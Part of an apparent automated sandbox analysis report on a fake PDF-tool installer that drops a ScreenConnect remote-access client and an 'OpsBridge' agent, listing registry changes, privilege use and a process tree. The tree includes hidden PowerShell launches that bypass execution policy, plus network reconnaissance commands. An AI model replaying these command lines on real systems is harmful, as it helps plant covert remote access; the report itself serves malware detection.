\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" ScreenConnect.ClientService.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" ScreenConnect.WindowsClient.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe - Modifies registry class 60 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\PackageCode = "83D1EF9097D6FA542B0A1AA573D9D649" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\shell msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4FB1F2D32AE41F763D76192C6A8933D2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\ProductName = "ScreenConnect Client (5842342e5d4fc124)" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\PackageName = "update.msi" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124 msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3D-08D916CE155F}\InprocServer32 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\ProductIcon = "C:\\Windows\\Installer\\{3D2F1BF4-4EA2-67F1-D367-91C2A698332D}\\DefaultIcon" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\InstanceType = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\PackageName = "precisionmedicPDF.msi" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3D-08D916CE155F}\ = "ScreenConnect Client (5842342e5d4fc124) Credential Provider" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\PackageCode = "4FB1F2D32AE41F763D76192C6A8933D2" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\LastUsedSource = "n;1;C:\\Windows\\TEMP\\ob_sc_15m__rwz\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\Version = "50331657" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\UseOriginalUrlEncoding = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3D-08D916CE155F}\InprocServer32\ = "C:\\Program Files (x86)\\ScreenConnect Client (5842342e5d4fc124)\\ScreenConnect.WindowsCredentialProvider.dll" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\DeploymentFlags = "3" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\AuthorizedLUAApp = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5842342e5d4fc124 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3D-08D916CE155F}\InprocServer32\ThreadingModel = "Apartment" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\ProductIcon = "C:\\Windows\\Installer\\{A7DCB3ED-CF03-4ED1-8D32-D7DBAB9E08E3}\\OpsBridgeIcon.exe" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\Net msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\Media msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\Language = "1033" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5E542C572D694D143B89E823897480C8\DE3BCD7A30FC1DE4D8237DBDBAE9803E msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\URL Protocol msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\Media\1 = ";" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\DE3BCD7A30FC1DE4D8237DBDBAE9803E msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\AuthorizedLUAApp = "0" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\DeploymentFlags = "3" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\4FB1F2D32AE41F763D76192C6A8933D2\Full msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\sc-5842342e5d4fc124\shell\open\command msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\Version = "402849799" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\Net msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8581571C0FFC3040852443E2D5F41C42\4FB1F2D32AE41F763D76192C6A8933D2 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\5E542C572D694D143B89E823897480C8 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\SourceList\Media\1 = ";" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\Assignment = "1" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\8581571C0FFC3040852443E2D5F41C42 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2\SourceList\Net\1 = "C:\\Windows\\TEMP\\ob_sc_15m__rwz\\" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\AdvertiseFlags = "388" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\shell\open msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\DE3BCD7A30FC1DE4D8237DBDBAE9803E\ProductName = "OpsBridge Service" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\4FB1F2D32AE41F763D76192C6A8933D2 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\DE3BCD7A30FC1DE4D8237DBDBAE9803E\Complete msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\sc-5842342e5d4fc124\shell\open\command\ = "\"C:\\Program Files (x86)\\ScreenConnect Client (5842342e5d4fc124)\\ScreenConnect.WindowsClient.exe\" \"%1\"" msiexec.exe Key created \REGISTRY\MACHINE\Software\Classes\CLSID\{6FF59A85-BC37-4CD4-6F3D-08D916CE155F} msiexec.exe - NTFS ADS 2 IoCs
description ioc Process File created C:\C:\Windows\Temp\ob_sc_943930f7.out\ cmd.exe File created C:\C:\Windows\Temp\ob_sc_278d430f.out\ cmd.exe - Suspicious behavior: EnumeratesProcesses 34 IoCs
pid Process 3008 msiexec.exe 3008 msiexec.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4148 powershell.exe 4148 powershell.exe 4148 powershell.exe 6124 powershell.exe 6124 powershell.exe 6124 powershell.exe 3288 powershell.exe 3288 powershell.exe 3288 powershell.exe 5560 powershell.exe 5560 powershell.exe 5560 powershell.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 4760 powershell.exe 4760 powershell.exe 2824 powershell.exe 2824 powershell.exe 4236 OpsBridgeAgent.exe 4236 OpsBridgeAgent.exe 3008 msiexec.exe 3008 msiexec.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 2096 ScreenConnect.ClientService.exe 4220 powershell.exe 4220 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 812 msiexec.exe Token: SeIncreaseQuotaPrivilege 812 msiexec.exe Token: SeSecurityPrivilege 3008 msiexec.exe Token: SeCreateTokenPrivilege 812 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 812 msiexec.exe Token: SeLockMemoryPrivilege 812 msiexec.exe Token: SeIncreaseQuotaPrivilege 812 msiexec.exe Token: SeMachineAccountPrivilege 812 msiexec.exe Token: SeTcbPrivilege 812 msiexec.exe Token: SeSecurityPrivilege 812 msiexec.exe Token: SeTakeOwnershipPrivilege 812 msiexec.exe Token: SeLoadDriverPrivilege 812 msiexec.exe Token: SeSystemProfilePrivilege 812 msiexec.exe Token: SeSystemtimePrivilege 812 msiexec.exe Token: SeProfSingleProcessPrivilege 812 msiexec.exe Token: SeIncBasePriorityPrivilege 812 msiexec.exe Token: SeCreatePagefilePrivilege 812 msiexec.exe Token: SeCreatePermanentPrivilege 812 msiexec.exe Token: SeBackupPrivilege 812 msiexec.exe Token: SeRestorePrivilege 812 msiexec.exe Token: SeShutdownPrivilege 812 msiexec.exe Token: SeDebugPrivilege 812 msiexec.exe Token: SeAuditPrivilege 812 msiexec.exe Token: SeSystemEnvironmentPrivilege 812 msiexec.exe Token: SeChangeNotifyPrivilege 812 msiexec.exe Token: SeRemoteShutdownPrivilege 812 msiexec.exe Token: SeUndockPrivilege 812 msiexec.exe Token: SeSyncAgentPrivilege 812 msiexec.exe Token: SeEnableDelegationPrivilege 812 msiexec.exe Token: SeManageVolumePrivilege 812 msiexec.exe Token: SeImpersonatePrivilege 812 msiexec.exe Token: SeCreateGlobalPrivilege 812 msiexec.exe Token: SeBackupPrivilege 5360 vssvc.exe Token: SeRestorePrivilege 5360 vssvc.exe Token: SeAuditPrivilege 5360 vssvc.exe Token: SeBackupPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeShutdownPrivilege 2624 MsiExec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe Token: SeRestorePrivilege 3008 msiexec.exe Token: SeTakeOwnershipPrivilege 3008 msiexec.exe - Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 812 msiexec.exe 812 msiexec.exe - Suspicious use of WriteProcessMemory 31 IoCs
description pid Process procid_target PID 3008 wrote to memory of 1172 3008 msiexec.exe 97 PID 3008 wrote to memory of 5856 3008 msiexec.exe 99 PID 3008 wrote to memory of 2624 3008 msiexec.exe 100 PID 4236 wrote to memory of 4148 4236 OpsBridgeAgent.exe 102 PID 4236 wrote to memory of 6124 4236 OpsBridgeAgent.exe 104 PID 4236 wrote to memory of 1080 4236 OpsBridgeAgent.exe 107 PID 4236 wrote to memory of 3288 4236 OpsBridgeAgent.exe 110 PID 4236 wrote to memory of 5560 4236 OpsBridgeAgent.exe 112 PID 4236 wrote to memory of 1364 4236 OpsBridgeAgent.exe 114 PID 4236 wrote to memory of 1920 4236 OpsBridgeAgent.exe 116 PID 4236 wrote to memory of 4760 4236 OpsBridgeAgent.exe 118 PID 4236 wrote to memory of 2824 4236 OpsBridgeAgent.exe 120 PID 4236 wrote to memory of 1308 4236 OpsBridgeAgent.exe 122 PID 4236 wrote to memory of 5556 4236 OpsBridgeAgent.exe 125 PID 3008 wrote to memory of 5612 3008 msiexec.exe 127 PID 5612 wrote to memory of 1276 5612 MsiExec.exe 128 PID 2096 wrote to memory of 6124 2096 ScreenConnect.ClientService.exe 130 PID 4236 wrote to memory of 4904 4236 OpsBridgeAgent.exe 131 PID 4236 wrote to memory of 1800 4236 OpsBridgeAgent.exe 132 PID 4236 wrote to memory of 4920 4236 OpsBridgeAgent.exe 133 PID 4236 wrote to memory of 3248 4236 OpsBridgeAgent.exe 134 PID 4236 wrote to memory of 5896 4236 OpsBridgeAgent.exe 135 PID 4236 wrote to memory of 5568 4236 OpsBridgeAgent.exe 136 PID 4904 wrote to memory of 756 4904 OpsBridgeAgent.exe 137 PID 3248 wrote to memory of 5408 3248 OpsBridgeAgent.exe 138 PID 1800 wrote to memory of 2524 1800 OpsBridgeAgent.exe 139 PID 4920 wrote to memory of 2392 4920 OpsBridgeAgent.exe 143 PID 5896 wrote to memory of 4740 5896 OpsBridgeAgent.exe 144 PID 5568 wrote to memory of 4812 5568 OpsBridgeAgent.exe 147 PID 2096 wrote to memory of 772 2096 ScreenConnect.ClientService.exe 149 PID 4236 wrote to memory of 4220 4236 OpsBridgeAgent.exe 150 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\system32\msiexec.exemsiexec.exe /I C:\Users\Admin\AppData\Local\Temp\precisionmedicPDF.msi1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:812
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:1172
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding DE0FC09A282C8788EA8ED45B241BAFD72⤵
- Loads dropped DLL
PID:5856
-
-
C:\Windows\System32\MsiExec.exeC:\Windows\System32\MsiExec.exe -Embedding 90B0EE87831477CC1AF04C1506BF2611 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:2624
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding F123F2AD4185D8BF4B637720FC4FA44F E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5612 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Windows\Installer\MSIB153.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240824750 12 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
PID:1276
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5360
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --service1⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4236 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-NetRoute -DestinationPrefix '0.0.0.0/0' | Select-Object -First 1).NextHop"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4148
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses | Select-Object -Unique | ConvertTo-Json -Compress"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:6124
-
-
C:\Windows\system32\netsh.exenetsh wlan show interfaces2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1080
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-NetRoute -DestinationPrefix '0.0.0.0/0' | Select-Object -First 1).NextHop"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3288
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses | Select-Object -Unique | ConvertTo-Json -Compress"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:5560
-
-
C:\Windows\system32\netsh.exenetsh wlan show interfaces2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1364
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File \"C:\Windows\Temp\ob_sc_943930f7.ps1\" > \"C:\Windows\Temp\ob_sc_943930f7.out\" 2>&1"2⤵
- Hide Artifacts: Hidden Window
- NTFS ADS
PID:1920
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-NetRoute -DestinationPrefix '0.0.0.0/0' | Select-Object -First 1).NextHop"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4760
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses | Select-Object -Unique | ConvertTo-Json -Compress"2⤵
- Drops file in System32 directory
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2824
-
-
C:\Windows\system32\netsh.exenetsh wlan show interfaces2⤵
- Event Triggered Execution: Netsh Helper DLL
PID:1308
-
-
C:\Windows\system32\cmd.execmd.exe /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File \"C:\Windows\Temp\ob_sc_278d430f.ps1\" > \"C:\Windows\Temp\ob_sc_278d430f.out\" 2>&1"2⤵
- Hide Artifacts: Hidden Window
- NTFS ADS
PID:5556
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_76fe6a6e749a4568895eca5a67157cc4.json2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4904 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:756
-
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_069153495c3345e3bf0a0f67bba8f18a.json2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1800 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:2524
-
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_2803a00944a24a69bc09bc7103f2908c.json2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4920 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:2392
-
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_d022b51fff7e47d08150795201980e83.json2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3248 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:5408
-
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_a789f86f015a4440ad6ee2c9673819df.json2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5896 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:4740
-
-
-
C:\Program Files\OpsBridge\OpsBridgeAgent.exe"C:\Program Files\OpsBridge\OpsBridgeAgent.exe" --worker C:\ProgramData\OpsBridge\task_8031fbd65c924ba5ae44014f31770c0b.json2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:5568 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"3⤵
- Executes a command shell one-liner
PID:4812
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-NetRoute -DestinationPrefix '0.0.0.0/0' | Select-Object -First 1).NextHop"2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4220
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "(Get-DnsClientServerAddress -AddressFamily IPv4).ServerAddresses | Select-Object -Unique | ConvertTo-Json -Compress"2⤵
- Command and Scripting Interpreter: PowerShell
PID:452
-
-
C:\Windows\system32\netsh.exenetsh wlan show interfaces2⤵PID:4180
-
-
